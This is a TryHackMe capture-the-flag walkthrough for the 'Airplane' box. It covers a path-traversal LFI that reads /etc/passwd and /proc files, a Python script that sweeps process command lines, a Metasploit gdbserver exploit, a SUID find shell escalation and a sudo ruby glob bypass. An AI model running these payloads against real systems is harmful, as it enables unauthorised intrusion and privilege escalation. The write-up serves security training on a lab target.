Airplane
Box Info
Platform: TryHackMe, OS: Linux (Ubuntu 5.4), Difficulty: Medium, Host: airplane.thm
Attack Path
- Web on
:8000,?page=is path-traversal LFI. Read/etc/passwd(userscarlos,hudson) and enumerate/proc/*/cmdline. /procrevealsgdbserver 0.0.0.0:6048 airplane, an exposed gdbserver →msf exploit/multi/gdb/gdb_server_exec→ shell as hudson.- SUID
/usr/bin/findowned bycarlos→find . -exec /bin/bash -p \; -quit→ carlos. sudo -l:(ALL) NOPASSWD: /usr/bin/ruby /root/*.rb, the/root/*.rbglob is satisfied by/root/../tmp/evil.rb→ run our own script → root.
Full Walkthrough
Nmap scan
Web Enumeration
My first look at the web application on port 8000 immediately drew my eye to a page parameter in the URL, which is exactly the kind of parameter name that usually points at server-side file inclusion. I decided to test for LFI first, before anything else, since a parameter that literally controls which page gets loaded is a strong signal the backend is doing some form of file path concatenation behind the scenes.
http://airplane.thm:8000/?page=../../../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
fwupd-refresh:x:122:127:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
geoclue:x:123:128::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:124:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
hudson:x:1001:1001::/home/hudson:/bin/bashThat path traversal payload worked cleanly and handed me the full /etc/passwd, confirming the LFI beyond any doubt. With arbitrary file read established, I wanted to push it further than just reading static configuration files: Linux exposes live process information under /proc/<pid>/cmdline, so if I could walk through enough PIDs, I could potentially see exactly what services and binaries were running on the box in real time, information I would normally only get from a shell. I wrote a small script to automate that sweep across a reasonable PID range.
import requests
for i in range(1, 1001):
print(f"\r{i}", end="", flush=True)
url = f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline"
response = requests.get(url)
if response.status_code == 200:
content = response.text
if 'Page not found' not in content and content:
print(f"\r/proc/{i}/cmdline: {content}")Going back over the passwd output while my script ran, I noted the two non-system accounts worth keeping in mind for later, since either one was a realistic target for a foothold.
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
hudson:x:1001:1001::/home/hudson:/bin/bashFinding current running user
Before going deeper into /proc enumeration, I wanted to nail down exactly which user context the web application itself was running under, since that tells me who I would actually be if this LFI ever turned into code execution. /proc/self/environ is a reliable way to get that answer directly from the running process’s own environment rather than guessing from file ownership.
GET /?page=../../../../../../../../proc/self/environ HTTP/1.1
Host: airplane.thm:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, iThe environment dump answered that question directly: the web process runs as hudson, not www-data or some generic service account, which meant if I could ever escalate this LFI to code execution, I would land as a real named user rather than an unprivileged web daemon.
Response
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.8.10
Date: Mon, 19 May 2025 06:42:16 GMT
Content-Disposition: inline; filename=environ
Content-Type: application/octet-stream
Content-Length: 437
Last-Modified: Mon, 19 May 2025 06:42:16 GMT
Cache-Control: no-cache
ETag: "1747636936.4480083-0-2577536004"
Date: Mon, 19 May 2025 06:42:16 GMT
Connection: close
LANG=en_US.UTF-8